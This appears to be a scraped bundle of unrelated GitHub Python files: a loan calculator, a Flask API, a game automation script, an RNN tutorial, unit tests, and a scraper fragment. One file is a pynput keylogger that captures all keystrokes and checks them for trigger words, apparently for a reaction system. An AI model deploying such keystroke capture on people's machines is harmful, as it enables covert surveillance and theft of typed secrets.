payment:\\n> '))\n count_of_month(credit)\nelif choose_calculation == 'p':\n count_month = int(input('Enter count of months:\\n> '))\n pay_of_month(credit)\n\"\"\"\n\"\"\"import math\n\n\ndef count_of_month():\n credit_principal = int(input('Enter credit principal:\\n> '))\n monthly_pay = int(input('Enter monthly payment:\\n> '))\n credit_interest = float(input('Enter credit interest:\\n> '))\n i = credit_interest / 1200\n n = math.log((monthly_pay / (monthly_pay - i * credit_principal)), (i + 1))\n n = math.ceil(n)\n years = n // 12\n month = n - years * 12\n if years and month > 0:\n print(f'You need {years} years and {month} months to repay this credit!')\n elif years > 0 and month == 0:\n print(f'You need {years} years to repay this credit!')\n elif years == 0 and month > 0:\n print(f'You need {month} years to repay this credit!')\n\n\ndef annuity_payment():\n credit_principal = int(input('Enter credit principal:\\n> '))\n periods = int(input('Enter count of periods:\\n> '))\n credit_interest = float(input('Enter credit interest:\\n> '))\n i = credit_interest / 1200\n annuity = math.ceil((credit_principal * (i * math.pow(1 + i, periods) / (math.pow(1 + i, periods) - 1))))\n print(f'Your annuity payment = {annuity}!')\n\n\ndef credit_pr():\n monthly_pay = float(input('Enter monthly payment:\\n> '))\n periods = int(input('Enter count of periods:\\n> '))\n credit_interest = float(input('Enter credit interest:\\n> '))\n i = credit_interest / 1200\n credit_principal = monthly_pay / (i * math.pow(1 + i, periods) / (math.pow(1 + i, periods) - 1))\n print(f'Your credit principal = {round(credit_principal)}!')\n\n\nchoose_calculation = input('What do you want to calculate?\\n'\n 'type \"n\" - for count of months,\\n'\n 'type \"a\" - for annuity monthly payment,\\n'\n 'type \"p\" - for monthly payment:\\n> ')\nif choose_calculation == 'n':\n count_of_month()\nelif choose_calculation == 'a':\n annuity_payment()\nelif choose_calculation == 'p':\n credit_pr()\"\"\"\n\nimport math\nimport sys\n\n\ndef diff(pr, per, cred):\n credit_principal = pr\n periods = per\n credit_interest = cred\n i = credit_interest / 1200\n m = 1\n d_sum = 0\n while m <= periods:\n d = credit_principal / periods + i * (credit_principal - ((credit_principal * (m - 1)) / periods))\n d_sum += math.ceil(d)\n print(f'Month {m} : paid out {math.ceil(d)}')\n m += 1\n overpay = d_sum - credit_principal\n print(f'\\nOverpayment = {round(overpay)}')\n\n\ndef count_of_month(pr, month_p, cred):\n credit_principal = pr\n monthly_pay = month_p\n credit_interest = cred\n i = credit_interest / 1200\n n = math.log((monthly_pay / (monthly_pay - i * credit_principal)), (i + 1))\n n = math.ceil(n)\n years = n // 12\n month = n - years * 12\n pay_sum = n * monthly_pay\n overpay = pay_sum - credit_principal\n if years > 0 and month > 0:\n print(f'You need {years} years and {month} months to repay this credit!')\n elif years > 0 and month == 0:\n print(f'You need {years} years to repay this credit!')\n elif years == 0 and month > 0:\n print(f'You need {month} years to repay this credit!')\n print(f'\\nOverpayment = {overpay}')\n\n\ndef annuity_payment(pr, per, cred):\n credit_principal = pr\n periods = per\n credit_interest = cred\n i = credit_interest / 1200\n annuity = math.ceil((credit_principal * (i * math.pow(1 + i, periods) / (math.pow(1 + i, periods) - 1))))\n pay_sum = annuity * periods\n overpay = pay_sum - credit_principal\n print(f'Your annuity payment = {annuity}!')\n print(f'\\nOverpayment = {overpay}')\n\n\ndef credit_pr(month_p, per, inter):\n monthly_pay = month_p\n periods = per\n credit_interest = inter\n i = credit_interest / 1200\n credit_principal = monthly_pay / (i * math.pow(1 + i, periods) / (math.pow(1 + i, periods) - 1))\n print(f'Your credit principal = {round(credit_principal)}!')\n pay_sum = monthly_pay * periods\n overpay = credit_principal - pay_sum\n print(f'\\nOverpayment = {overpay}')\n\n\nargv = sys.argv\nparam = []\nfor item in argv:\n param.append(item.split('='))\n# verification\nif len(param) == 5 and int(param[2][1]) > 0 and int(param[3][1]) > 0 and float(param[4][1]) > 0:\n if param[1][1] == 'diff':\n diff(int(param[2][1]), int(param[3][1]), float(param[4][1]))\n elif param[1][1] == 'annuity':\n if param[2][0][2:] == 'principal' and param[3][0][2:] == 'periods' and param[4][0][2:] == 'interest':\n annuity_payment(int(param[2][1]), int(param[3][1]), float(param[4][1]))\n elif param[2][0][2:] == 'payment' and param[3][0][2:] == 'periods' and param[4][0][2:] == 'interest':\n credit_pr(int(param[2][1]), int(param[3][1]), float(param[4][1]))\n elif param[2][0][2:] == 'principal' and param[3][0][2:] == 'payment' and param[4][0][2:] == 'interest':\n count_of_month(int(param[2][1]), int(param[3][1]), float(param[4][1]))\nelse:\n print('Incorrect parameters')\n# ver2\n\"\"\"import math\nimport argparse\nimport sys\nparser = argparse.ArgumentParser(description='Calculate credit details')\nparser.add_argument('--type', type=str, help='Determines type of payments')\nparser.add_argument('--principal', type=int, help='Principal of credit')\nparser.add_argument('--payment', type=int, help='Value of payment')\nparser.add_argument('--interest', type=float, help='Credit interest')\nparser.add_argument('--periods', type=int, help='Number of periods')\nargs = parser.parse_args()\nargm = sys.argv\n\ndef diff_month_payment(type, principal, periods,interest):\n i = args.interest / 1200\n ind = 1\n overpayment = 0\n while ind <= args.periods:\n D = args.principal / args.periods + i * (args.principal - (args.principal * (ind - 1) / args.periods))\n print('Month ' + str(ind) + ': paid out ' + str(math.ceil(D)))\n ind = ind + 1\n overpayment += math.ceil(D)\n statement = (\"\\nOverpayment = \" + str(overpayment - principal))\n return statement\n\ndef annuity_payment(type, pricnipal, periods, interest):\n i = args.interest / 1200\n ann_payment = (args.principal * i * (1 + i)**args.periods) /((1 + i)**args.periods - 1)\n overpayment_2 = math.ceil(ann_payment) * args.periods - args.principal\n print(\"Yout annuity payment = \" + str(math.ceil(ann_payment)) + \"!\")\n statement_2 = (\"Overpayment = \" + str(overpayment_2))\n return statement_2\ndef principal_calc(type, payment, periods, interest):\n i = args.interest / 1200\n credit_principal = args.payment / ((i * (1 + i)**args.periods)/((1 + i)**args.periods-1))\n print(\"Your credit principal = \" + str(math.floor(credit_principal)) +\"!\")\n overpayment_3 = (\"Overpayment = \" + str(args.payment * args.periods - math.floor(credit_principal)))\n return overpayment_3\n\ndef how_many_months(type, principal, payment, interest):\n i = args.interest / 1200\n number_of_months = math.log((args.payment)/(args.payment - i * args.principal), (1 + i))\n months_rounded = math.ceil(number_of_months)\n if months_rounded % 12 == 0:\n x = months_rounded / 12\n print(\"You need \", int(x), \"years to repay this credit!\")\n elif months_rounded < 12:\n print(\"You need \", months_rounded, \"months to repay this credit!\")\n else:\n years = months_rounded // 12\n months = months_rounded % 12\n print(\"You need \", years, \"years and \", months, \"months to repay this credit!\")\n return(\"Overpayment = \" + str(math.ceil(months_rounded * args.payment - args.principal)))\n\n\nif len(sys.argv) != 5:\n print(\"Incorrect parameters\")\nelif args.type == \"diff\" and not args.payment:\n print(diff_month_payment(args.type, args.principal, args.periods, args.interest))\nelif args.type == \"annuity\" and not args.payment:\n print(annuity_payment(args.type, args.principal, args. periods, args.principal))\nelif args.type == \"annuity\" and not args.principal:\n print(principal_calc(args.type, args.payment, args.periods, args.interest))\nelif args.type == \"annuity\" and not args.periods:\n print(how_many_months(args.type, args.principal, args.payment, args.interest))\nelse:\n print(\"Incorrect parameters\")\"\"\"\n\n# ver3\n\"\"\"import math\nimport argparse\n\n# Initialize the parser\nparser = argparse.ArgumentParser(description=\"Credit Calculator Project\")\n\n# Add the parameters positional/optional\n\nparser.add_argument('--type', help = \"Type of Payment (Annuity or Differential\")\nparser.add_argument('--payment', help = \"Monthly payment\", type = int)\nparser.add_argument('--principal', help = \"Credit principal\", type = int)\nparser.add_argument('--periods', help = \"Count of months\", type = int)\nparser.add_argument('--interest', help = \"Credit interest (rate of interest)\", type = float)\n\n# Parse the arguments\nargs = parser.parse_args()\n\nif args.type not in ['annuity', 'diff']:\n print('Incorrect Parameters')\n exit(0)\n\nif args.type == 'diff' and args.payment != None:\n print('Incorrect Parameters')\n exit(0)\n\nargs_list = [args.type, args.payment, args.principal, args.periods, args.interest]\n# print(args_list)\n\ncount = 0\nfor item in args_list:\n if item == None:\n count += 1\n\nif count > 1:\n print('Incorrect Parameters')\n exit(0)\n\nif args_list[1] != None and args_list[1] < 0 or args_list[2] != None and args_list[2] < 0 or args_list[3] != None and args_list[3] < 0 or args_list[4] != None and args_list[4] < 0.0:\n print('Incorrect Parameters')\n exit(0)\n\n\nif args.type == 'annuity' and args.payment != None and args.principal != None and args.interest != None:\n\n nominal_interest = args.interest / (12 * 100)\n\n months = math.ceil(math.log (args.payment\n / (args.payment - nominal_interest * args.principal), (1 + nominal_interest)))\n\n overpayment = months * args.payment - args.principal\n\n year = months // 12\n months = months % 12\n\n if months == 0:\n print('You need', year, 'years to repay this credit!')\n elif year == 0:\n print('You need', months, 'months to repay this credit!')\n else:\n print('You need', year, 'years and', months, 'months to repay this credit!')\n print('Overpayment = ', overpayment)\n\n\nelif args.type == 'annuity' and args.periods != None and args.payment != None and args.interest != None:\n\n nominal_interest = args.interest / (12 * 100)\n\n complex_value = (nominal_interest * math.pow(1 + nominal_interest, args.periods)) / (math.pow(1 + nominal_interest, args.periods) - 1)\n credit_principal = int(args.payment / complex_value)\n\n overpayment = args.periods * args.payment - credit_principal\n\n print('Your credit principal =', str(credit_principal) + '!')\n print('Overpayment = ', overpayment)\n\nelif args.type == 'annuity' and args.periods != None and args.principal != None and args.interest != None:\n\n nominal_interest = args.interest / (12 * 100)\n\n complex_value = (nominal_interest * math.pow(1 + nominal_interest, args.periods)) / (math.pow(1 + nominal_interest, args.periods) - 1)\n\n monthly_payment = math.ceil(args.principal * complex_value)\n overpayment = args.periods * monthly_payment - args.principal\n\n print(('Your annuity payment = {}!').format(monthly_payment))\n print('Overpayment = ', overpayment)\n\nelif args.type == 'diff' and args.periods != None and args.principal != None and args.interest != None:\n nominal_interest = args.interest / (12 * 100)\n diff_total_amount = 0\n for i in range(1, args.periods+1):\n diff_amount = math.ceil(args.principal/args.periods + nominal_interest * args.principal * (1 - (i -1) / args.periods))\n diff_total_amount += diff_amount\n print(('Month {}: paid out {}').format(i, diff_amount))\n overpayment = diff_total_amount - args.principal\n print('Overpayment = ', overpayment)\n\"\"\"","repo_name":"snitivan/Credit-calc","sub_path":"creditcalc.py","file_name":"creditcalc.py","file_ext":"py","file_size_in_byte":13593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23025951506","text":"from flask import Blueprint\nfrom flask_restful import Api\nfrom resources.Hello import Hello\nfrom resources.Category import CategoryResource\nfrom resources.PostWeibo import PostWeiboResource\nfrom resources.UserWeibo import UserWeiboResource\n\napi_bp = Blueprint('api', __name__)\napi = Api(api_bp)\n\n# Route\napi.add_resource(Hello, '/Hello')\napi.add_resource(CategoryResource, '/Category')\napi.add_resource(PostWeiboResource, '/PostWeibo')\napi.add_resource(UserWeiboResource, '/UserWeibo')\n\n\nfrom flask import request, jsonify\nfrom Model import db, UserWeibo, UserWeiboSchema, PostWeibo, PostWeiboSchema\nfrom flask_restful import Resource\npostweibos_schema = PostWeiboSchema(many=True)\nuserweibos_schema = UserWeiboSchema(many=True)\nimport json\n\n@api_bp.route('/Suggest/')\n@api_bp.route('/Suggest/')\ndef suggest(at_user_id=None):\n if at_user_id is None:\n return 'Supposed to input user id'\n\n # userweibo = UserWeibo.query.filter_by(user_id=user_id).first()\n # if userweibo:\n # return jsonify({'message': 'PostWeibo already exists'}, 400)\n\n\n postweibo = PostWeibo.query.filter_by(at_user_id=at_user_id)\n postweibo = postweibos_schema.dump(postweibo).data\n postweibo_dumps = json.dumps(postweibo)\n res = [];\n postweibo_json = json.loads(postweibo_dumps)\n for index in range(len(postweibo_json)):\n userweibo = UserWeibo.query.filter_by(weibo_id=postweibo_json[index][\"weibo_id\"])\n userweibo = userweibos_schema.dump(userweibo).data\n userweibo_dumps = json.dumps(userweibo)\n userweibo_json = json.loads(userweibo_dumps)\n for i in range(len(userweibo_json)):\n relate_weibo_id = UserWeibo.query.filter_by(user_id=userweibo_json[i]['user_id'])\n relate_weibo_id = userweibos_schema.dump(relate_weibo_id).data\n relate_weibo_id_dumps = json.dumps(relate_weibo_id)\n relate_weibo_id_json = json.loads(relate_weibo_id_dumps)\n for ii in range(len(userweibo_json)):\n recommend_user = PostWeibo.query.filter_by(weibo_id=relate_weibo_id[i][\"weibo_id\"])\n recommend_user = postweibos_schema.dump(recommend_user).data\n recommend_user_dumps = json.dumps(recommend_user)\n recommend_user_json = json.loads(recommend_user_dumps)\n res += recommend_user_json\n\n return str(res)\n","repo_name":"BartSu/Python_Flask_API","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28253194385","text":"from pynput import keyboard\nimport threading\nimport time\nimport logging\n\nclass Keylogger():\n\tdef __init__(self, main_queue, main_lock, query_list):\n\t\t# For working with the obj from the core.py\n\t\tself.main_queue = main_queue\n\t\tself.main_lock = main_lock\n\t\tself.query_list = query_list\n\t\t# For processing the strings\n\t\tself.queue = []\n\t\tself.lock = threading.Lock()\n\t\t# Deal with logging\n\t\tlogging.basicConfig()\n\t\tself.logger = logging.getLogger('keylogger')\n\t\tself.logger.setLevel(logging.DEBUG)\n\n\tdef clear_queue(self):\n\t\tself.logger.debug(\"Clearing the queue!\")\n\t\tself.lock.acquire()\n\t\tself.queue = []\n\t\tself.lock.release()\n\n\tdef is_query_typed(self):\n\t\tself.lock.acquire()\n\t\ts = \"\".join(self.queue)\n\t\tself.logger.info(s)\n\t\tself.lock.release()\n\t\tfor query in self.query_list:\n\t\t\tif s.find(query) != -1:\n\t\t\t\tself.clear_queue()\n\t\t\t\treturn True, query\n\t\treturn False, None\n\n\tdef add_action(self, query):\n\t\tself.main_lock.acquire()\n\t\tself.main_queue.append(\"keylogger_{}\".format(query))\n\t\tself.main_lock.release()\n\n\tdef on_release(self, key):\n\t\tself.logger.debug(\"the key was released!\")\n\t\tis_typed, query = self.is_query_typed()\n\t\tif is_typed:\n\t\t\tself.add_action(query)\n\t\tself.logger.debug(self.queue)\n\t\tif (key == keyboard.Key.esc):\n\t\t\treturn False\n\n\tdef on_press(self, key):\n\t\tself.logger.debug(\"the key was pushed!\")\n\t\tif hasattr(key, 'char'):\n\t\t\tself.lock.acquire()\n\t\t\tself.queue.append(key.char)\n\t\t\tself.lock.release()\n\t\t\tself.logger.debug(\"Char added!\")\n\n\t\tif (key == keyboard.Key.space):\n\t\t\tself.lock.acquire()\n\t\t\tself.queue.append(\" \")\n\t\t\tself.lock.release()\n\t\t\tself.logger.debug(\"Space added!\")\n\n\t\tif (key == keyboard.Key.backspace):\n\t\t\tself.lock.acquire()\n\t\t\tif (len(self.queue) != 0): \n\t\t\t\tself.queue.pop()\n\t\t\tself.lock.release()\n\t\t\tself.logger.debug(\"Backspace processed!\")\n\n\tdef run(self):\n\t\twith keyboard.Listener(on_press=self.on_press, on_release=self.on_release) as listener:\n\t\t\tlistener.join()\n\nif __name__ == \"__main__\":\n\tlogging.basicConfig()\n\tlogger = logging.getLogger('trigger_test')\n\tlogger.setLevel(logging.DEBUG)\n\tlock = threading.Lock()\n\tqueue = []\n\tk = Keylogger(queue, lock, [\"porno\", \"violence\"])\n\tthreading.Thread(target=k.run, name='keylogger').start()\n\twhile True:\n\t\tlogger.debug(\" \".join(queue))\n\t\ttime.sleep(1)\n","repo_name":"mikky1996/reactsys","sub_path":"reactsys/triggers/Keylogger.py","file_name":"Keylogger.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39228405074","text":"# 自动塔\n# 使用方法 python ./tower.py 30\n# 输入参为战斗时间(秒)\n\nimport sys\nimport game\nimport win32_helper\n\nif len(sys.argv) != 2:\n print('format: python ./tower.py 战斗时间')\n exit()\n\nhWnd = win32_helper.find_window_handle('MuMu', None, None)\nhWnd = win32_helper.find_first_child_window(hWnd)\n\nop_delay = 3\n\ni = 0\nwhile True:\n print('\\nloop {0}'.format(i))\n i += 1\n\n win32_helper.send_key_to_window(hWnd, win32_helper.VK_Y)\n\n win32_helper.wait(op_delay)\n if game.has_select_box(hWnd):\n game.press_button_cancel(hWnd)\n continue\n \n game.battle(hWnd, battle_cost_times=int(sys.argv[1]))\n win32_helper.wait(14.5 * 60)\n","repo_name":"ftdlyc/xinggui_helper","sub_path":"tower.py","file_name":"tower.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35798509969","text":"\"\"\"\r\nAuthor: Kod: PARS\r\n\"\"\"\r\n#DÜŞÜK BAŞARI ORANINDAN KAÇINMAK İÇİN LÜTFEN PARAMETRELERİ DEĞİŞTİRİN.\r\n#YOU CAN CHANGE PARAMETERS TO AVOİD LOW SUCCESS LEVEL.\r\n# Importing the libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\n# Importing the training set\r\n#veri seti repository içinde mevcut, indirebilirsiniz.\r\n#dataset can be download from this repository.\r\ndataset_train = pd.read_csv('veriler/Stock_Price_Train.csv')\r\ntrain = dataset_train.loc[:, [\"Open\"]].values\r\n\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nscaler = MinMaxScaler(feature_range = (0, 1))\r\ntrain_scaled = scaler.fit_transform(train)\r\n\r\n\r\nplt.plot(train_scaled)\r\nplt.show()\r\n\r\nX_train = []\r\ny_train = []\r\ntimesteps = 50\r\nfor i in range(timesteps, 1258):\r\n X_train.append(train_scaled[i-timesteps:i, 0])\r\n y_train.append(train_scaled[i, 0])\r\nX_train, y_train = np.array(X_train), np.array(y_train)\r\n\r\nX_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))\r\n\r\n# Importing the Keras libraries and packages\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import SimpleRNN\r\nfrom keras.layers import Dropout\r\n\r\n# Initialising the RNN\r\nregressor = Sequential()\r\n\r\n# Adding the first RNN layer and some Dropout regularisation\r\nregressor.add(SimpleRNN(units = 50,activation='tanh', return_sequences = True, input_shape = (X_train.shape[1], 1)))\r\nregressor.add(Dropout(0.2))\r\n\r\n# Adding a second RNN layer and some Dropout regularisation\r\nregressor.add(SimpleRNN(units = 50,activation='tanh', return_sequences = True))\r\nregressor.add(Dropout(0.2))\r\n\r\n# Adding a third RNN layer and some Dropout regularisation\r\nregressor.add(SimpleRNN(units = 50,activation='tanh', return_sequences = True))\r\nregressor.add(Dropout(0.2))\r\n\r\n# Adding a fourth RNN layer and some Dropout regularisation\r\nregressor.add(SimpleRNN(units = 50))\r\nregressor.add(Dropout(0.2))\r\n\r\n# Adding the output layer\r\nregressor.add(Dense(units = 1))\r\n\r\n# Compiling the RNN\r\nregressor.compile(optimizer = 'adam', loss = 'mean_squared_error', metrics= [\"accuracy\"])\r\n\r\n# Fitting the RNN to the Training set\r\nregressor.fit(X_train, y_train, epochs = 100, batch_size = 32)\r\n\r\n# Getting the real stock price of 2017\r\ndataset_test = pd.read_csv('veriler/Stock_Price_Test.csv')\r\nreal_stock_price = dataset_test.loc[:, [\"Open\"]].values\r\ndataset_total = pd.concat((dataset_train['Open'], dataset_test['Open']), axis = 0)\r\ninputs = dataset_total[len(dataset_total) - len(dataset_test) - timesteps:].values.reshape(-1,1)\r\ninputs = scaler.transform(inputs) # min max scaler\r\n\r\nX_test = []\r\nfor i in range(timesteps, 70):\r\n X_test.append(inputs[i-timesteps:i, 0])\r\nX_test = np.array(X_test)\r\nX_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\r\npredicted_stock_price = regressor.predict(X_test)\r\npredicted_stock_price = scaler.inverse_transform(predicted_stock_price)\r\n\r\n# Visualising the results\r\nplt.plot(real_stock_price, color = 'red', label = 'Real Google Stock Price')\r\nplt.plot(predicted_stock_price, color = 'blue', label = 'Predicted Google Stock Price')\r\nplt.title('Google Stock Price Prediction')\r\nplt.xlabel('Time')\r\nplt.ylabel('Google Stock Price')\r\nplt.legend()\r\nplt.show()\r\n# epoch = 250 daha güzel sonuç veriyor.\r\n\r\n# BURADAN SONRASI LSTM (LONG-SHORT TERM MEMORY)\r\n# after this we will code LSTM - if you want to run it, you must disable quotes.\r\n\"\"\"\r\nimport numpy\r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt\r\nimport math\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.metrics import mean_squared_error\r\ndata = pd.read_csv('veriler/international-airline-passengers.csv',skipfooter=5)\r\ndataset = data.iloc[:,1].values\r\nplt.plot(dataset)\r\nplt.xlabel(\"time\")\r\nplt.ylabel(\"Number of Passenger\")\r\nplt.title(\"international airline passenger\")\r\nplt.show()\r\n\r\ndataset = dataset.reshape(-1,1)\r\ndataset = dataset.astype(\"float32\")\r\ndataset.shape\r\n\r\ntrain_size = int(len(dataset) * 0.50)\r\ntest_size = len(dataset) - train_size\r\ntrain = dataset[0:train_size,:]\r\ntest = dataset[train_size:len(dataset),:]\r\nprint(\"train size: {}, test size: {} \".format(len(train), len(test)))\r\n\r\ntime_stemp = 10\r\ndataX = []\r\ndataY = []\r\nfor i in range(len(train)-time_stemp-1):\r\n a = train[i:(i+time_stemp), 0]\r\n dataX.append(a)\r\n dataY.append(train[i + time_stemp, 0])\r\ntrainX = numpy.array(dataX)\r\ntrainY = numpy.array(dataY) \r\ndataX = []\r\ndataY = []\r\nfor i in range(len(test)-time_stemp-1):\r\n a = test[i:(i+time_stemp), 0]\r\n dataX.append(a)\r\n dataY.append(test[i + time_stemp, 0])\r\ntestX = numpy.array(dataX)\r\ntestY = numpy.array(dataY) \r\ntrainX = numpy.reshape(trainX, (trainX.shape[0], 1, trainX.shape[1]))\r\ntestX = numpy.reshape(testX, (testX.shape[0], 1, testX.shape[1]))\r\nmodel = Sequential()\r\nmodel.add(LSTM(10, input_shape=(1, time_stemp))) # 10 lstm neuron(block)\r\nmodel.add(Dense(1))\r\nmodel.compile(loss='mean_squared_error', optimizer='adam')\r\nmodel.fit(trainX, trainY, epochs=50, batch_size=1)\r\n\r\ntrainPredict = model.predict(trainX)\r\ntestPredict = model.predict(testX)\r\n# invert predictions\r\ntrainPredict = scaler.inverse_transform(trainPredict)\r\ntrainY = scaler.inverse_transform([trainY])\r\ntestPredict = scaler.inverse_transform(testPredict)\r\ntestY = scaler.inverse_transform([testY])\r\n# calculate root mean squared error\r\ntrainScore = math.sqrt(mean_squared_error(trainY[0], trainPredict[:,0]))\r\nprint('Train Score: %.2f RMSE' % (trainScore))\r\ntestScore = math.sqrt(mean_squared_error(testY[0], testPredict[:,0]))\r\nprint('Test Score: %.2f RMSE' % (testScore))\r\n\r\n# shifting train\r\ntrainPredictPlot = numpy.empty_like(dataset)\r\ntrainPredictPlot[:, :] = numpy.nan\r\ntrainPredictPlot[time_stemp:len(trainPredict)+time_stemp, :] = trainPredict\r\n# shifting test predictions for plotting\r\ntestPredictPlot = numpy.empty_like(dataset)\r\ntestPredictPlot[:, :] = numpy.nan\r\ntestPredictPlot[len(trainPredict)+(time_stemp*2)+1:len(dataset)-1, :] = testPredict\r\n# plot baseline and predictions\r\nplt.plot(scaler.inverse_transform(dataset))\r\nplt.plot(trainPredictPlot)\r\nplt.plot(testPredictPlot)\r\nplt.show()\r\n\"\"\"\r\n","repo_name":"RegaipKURT/Artificial_Intelligence_PYTHON","sub_path":"RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":6247,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"18435463722","text":"\nimport requests\nimport json\nimport unittest\nimport app\n\nBASE_URL = \"http://127.0.0.1:5000\"\n\nclass TestCancerApi(unittest.TestCase):\n def setUp(self):\n self.app = app.app.test_client()\n self.app.testing = True\n\n #the order of the test case execution depends on the name of the test case. basically they are executed in alphabetical order\n #You can disable the test case if needed using sortTestingMethodsUsing attribute the unittest framework\n\n def test_1_cell_lines(self):\n path = BASE_URL + \"/cell_lines?gene=7157\"\n #valid test. get cell line for gene\n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\"\n }\n \n r = self.app.get(path, headers=headers)\n result_object = json.loads(r.get_data())\n gene_id = result_object[0][\"Entrez_Gene_Id\"]\n tcga = result_object[0][\"isTCGAhotspot\"]\n self.assertEqual(r.status_code, 200)\n self.assertEqual(True, tcga)\n self.assertEqual(7157, gene_id)\n\n #Bad request. Incorrect json provided\n path = BASE_URL + \"/cell_lines\"\n r = self.app.get(path, headers=headers)\n self.assertEqual(r.status_code, 400)\n\n #Method not supported\n r = self.app.post(path, headers=headers, data = ())\n self.assertEqual(r.status_code, 405)\n \n def test_2_genes(self):\n path = BASE_URL + \"/genes?cell_line=ACH-000003\"\n #valid test. get gene for cell_line\n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\"\n }\n \n r = self.app.get(path, headers=headers)\n result_object = json.loads(r.get_data())\n cell_line_id = result_object[0][\"DepMap_ID\"]\n tcga = result_object[0][\"isTCGAhotspot\"]\n self.assertEqual(r.status_code, 200)\n self.assertEqual(True, tcga)\n self.assertEqual(\"ACH-000003\", cell_line_id)\n \n def test_3_tcga_gene_for_cell_line(self):\n path = BASE_URL + \"/cell_lines/ACH-000003?gene=7157\"\n #valid test. get tcga hotspot for gene and cell_line pair\n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\"\n }\n \n r = self.app.get(path, headers=headers)\n result_object = json.loads(r.get_data())\n gene_id = result_object[0][\"Entrez_Gene_Id\"]\n cell_line_id = result_object[0][\"DepMap_ID\"]\n tcga = result_object[0][\"isTCGAhotspot\"]\n self.assertEqual(r.status_code, 200)\n self.assertEqual(True, tcga)\n self.assertEqual(7157, gene_id)\n self.assertEqual(\"ACH-000003\", cell_line_id)\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"poojamankani-z/cancer-dependency","sub_path":"test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"928852263","text":"import json\nimport boto3\nimport sys\n\nsys.path.insert(1, '/opt')\nfrom dynamoUtility import persist_to_dynamo, scan_dynamo\n\n\ndef checkIfExist(personId):\n persons = scan_dynamo([personId], 'persons', ['personId'], 'personId')\n if persons:\n return True\n return False\n\n\ndef lambda_handler(event, context):\n # The event structure is described below\n # Pre sign up handler should put all necessary information onto dynamoDB\n \"\"\"\n event {\n \t'version': '1',\n \t'region': 'us-east-1',\n \t'userPoolId': 'us-east-1_rpUsHwFI1',\n \t'userName': 'Google_115313088983646160901',\n \t'callerContext': {\n \t\t'awsSdkVersion': 'aws-sdk-unknown-unknown',\n \t\t'clientId': '1962ro47nqjq5nreds0et30e6a'\n \t},\n \t'triggerSource': 'PreSignUp_ExternalProvider',\n \t'request': {\n \t\t'userAttributes': {\n \t\t\t'cognito:email_alias': '',\n \t\t\t'cognito:phone_number_alias': '',\n \t\t\t'given_name': 'shashank',\n \t\t\t'email': 'shashank93jai@gmail.com'\n \t\t},\n \t\t'validationData': {}\n \t},\n \t'response': {\n \t\t'autoConfirmUser': False,\n \t\t'autoVerifyEmail': False,\n \t\t'autoVerifyPhone': False\n \t}\n }\"\"\"\n if not checkIfExist(event['userName']):\n personInfo = {\n \"personId\": event['userName'],\n \"name\": event['request']['userAttributes']['given_name'],\n \"email\": event['request']['userAttributes']['email'],\n \"groupId\": []\n }\n persist_to_dynamo('persons', personInfo)\n\n # DO NOT CHANGE, Cognito requires event to be returned to complete successful sign up\n return event\n","repo_name":"gouthamreddykotapalle/CollabShare","sub_path":"Lambda/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8760168488","text":"from django.test import TestCase, RequestFactory\nfrom django.urls import reverse\nfrom lettings.models import Letting, Address\nfrom lettings.views import index, letting\n\nclass LettingsViewTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n self.address = Address.objects.create(number=123, street=\"Main St\", city=\"City\", state=\"ST\", zip_code=12345, country_iso_code=\"US\")\n self.letting = Letting.objects.create(title=\"Test Letting\", address=self.address)\n\n def test_index_view(self):\n request = self.factory.get(reverse(\"lettings:index\"))\n response = index(request)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"Test Letting\")\n\n def test_letting_view(self):\n request = self.factory.get(reverse(\"lettings:letting\", args=[self.letting.id]))\n response = letting(request, self.letting.id)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"Test Letting\")\n","repo_name":"Gianni-De-vadder/openclassroom-projet-13","sub_path":"tests/unit/lettings_views_test.py","file_name":"lettings_views_test.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29396562671","text":"# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport os\nimport csv\nimport convertapi\nimport datetime\nimport pdfkit\nimport requests\nimport logging\nimport time\nimport re\nfrom docx import Document\nfrom datetime import date\nimport calendar\nimport shutil\n\n\nlogger = logging.getLogger(\"root\")\nlogger.setLevel(logging.DEBUG)\n# create console handler\nch = 